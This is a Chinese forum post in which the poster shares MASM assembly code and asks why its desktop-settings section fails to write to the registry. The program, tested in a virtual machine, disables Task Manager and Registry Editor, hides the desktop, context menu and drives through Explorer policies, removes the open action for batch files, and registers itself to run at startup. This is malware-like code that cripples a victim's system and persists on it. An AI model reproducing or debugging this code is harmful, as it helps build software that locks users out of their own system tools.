这是一个关于注册表操作的程序,在虚拟机上实验了一下,发现了一个问题,就是程序开头那段关于注册表任务管理器禁用的执行了,最后面那段自动运行的也执行了,可中间那段关于桌面项设置的就是没有任何反应,进注册表看发现没有写进去,为什么写不进去啊,一样的格式啊
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib user32.lib
includelib kernel32.lib
includelib advapi32.lib
.data
hKey dword ?
szFileName dd ?
szKey_2 byte "Software\Microsoft\Windows\CurrentVersion\Run",0
szKey_1 byte "Software\Microsoft\Windows\CurrentVersion\Policies\System",0
szKey_3 db "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer",0
szKey_4 DB "audiocd\shell",0
szKey_5 DB "hkey_classes_root\batfile\shell",0
szOpen db "open",0
szValueAutoRun db "AutoRun",0
szKeyDefault byte "(数值未设置)",0
szKeyName_1 byte "DisableTaskMgr",0
szKeyName_2 byte "DisableRegistryTools",0
szKeyName_3_1 db "NoViewContextMenu",0
szKeyName_3_2 db "NoInternetIcon",0
szKeyName_3_3 db "NoDesktop",0
szKeyName_3_4 db "NoDestop",0
szKeyName_3_5 db "nodrivers",0
szKeyName_4 db "(默认)",0
szKey_Disable dword 01
szKey_Enable dword 00
.code
include _Reg.asm
start:
;****************************************************************
;关闭cd播放器自动播放功能
invoke RegCreateKey,HKEY_CLASSES_ROOT,addr szKey_4,addr hKey
.if eax==ERROR_SUCCESS
invoke RegSetValueEx,hKey,NULL,NULL,REG_SZ,addr szKeyDefault,sizeof szKeyDefault
invoke RegSetValueEx,hKey,addr szKeyName_4,NULL,REG_DWORD,NULL,NULL
.endif
;****************************************************************
;****************************************************************
;禁用注册表,任务管理器
invoke RegCreateKey,HKEY_CURRENT_USER,addr szKey_1,addr hKey
.if eax==ERROR_SUCCESS
invoke RegSetValueEx,hKey,NULL,NULL,REG_SZ,addr szKeyDefault,sizeof szKeyDefault
invoke RegSetValueEx,hKey,addr szKeyName_1,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
invoke RegSetValueEx,hKey,addr szKeyName_2,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
.endif
;**************************************************************
;**************************************************************
;有关桌面项设置
invoke RegCreateKey,HKEY_CURRENT_USER,addr szKey_3,addr hKey
.if eax==ERROR_SUCCESS
invoke RegSetValueEx,hKey,NULL,NULL,REG_DWORD,addr szKeyDefault,sizeof szKeyDefault
invoke RegSetValueEx,hKey,addr szKeyName_3_1,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
invoke RegSetValueEx,hKey,addr szKeyName_3_2,NULL,REG_DWORD,addr szKey_Enable,sizeof szKey_Enable
invoke RegSetValueEx,hKey,addr szKeyName_3_3,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
invoke RegSetValueEx,hKey,addr szKeyName_3_4,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
invoke RegSetValueEx,hKey,addr szKeyName_3_5,NULL,REG_DWORD,addr szKey_Disable,sizeof szKey_Disable
.endif
;****************************************************************
invoke _RegDelValue,addr szKey_5,addr szOpen
;**************************************************************
;开机自动运行
_SetAutorun proc _dwFlag
local @szFileName[MAX_PATH]:byte
.if _dwFlag
invoke GetModuleFileName,NULL,addr @szFileName,MAX_PATH
inc eax
invoke _RegSetValue,addr szKey_2,addr szValueAutoRun,addr @szFileName,REG_SZ,eax
.else
invoke _RegDelValue,addr szKey_2,addr szValueAutoRun
.endif
ret
_SetAutorun endp
invoke ExitProcess,0
end start
;********************************************************
_reg.asm内容
;********************************************************
_RegSetValue proc _lpszKey,_lpszValueName,_lpszValue,_dwValueType,_dwSize
local @hKey
invoke RegCreateKey,HKEY_LOCAL_MACHINE,_lpszKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,_lpszValueName,NULL,\
_dwValueType,_lpszValue,_dwSize
invoke RegCloseKey,@hKey
.endif
ret
_RegSetValue endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 删除键值
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RegDelValue proc _lpszKey,_lpszValueName
local @hKey
invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,_lpszKey,NULL,\
KEY_WRITE,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegDeleteValue,@hKey,_lpszValueName
invoke RegCloseKey,@hKey
.endif
ret
_RegDelValue endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[课程]Android-CTF解题方法汇总!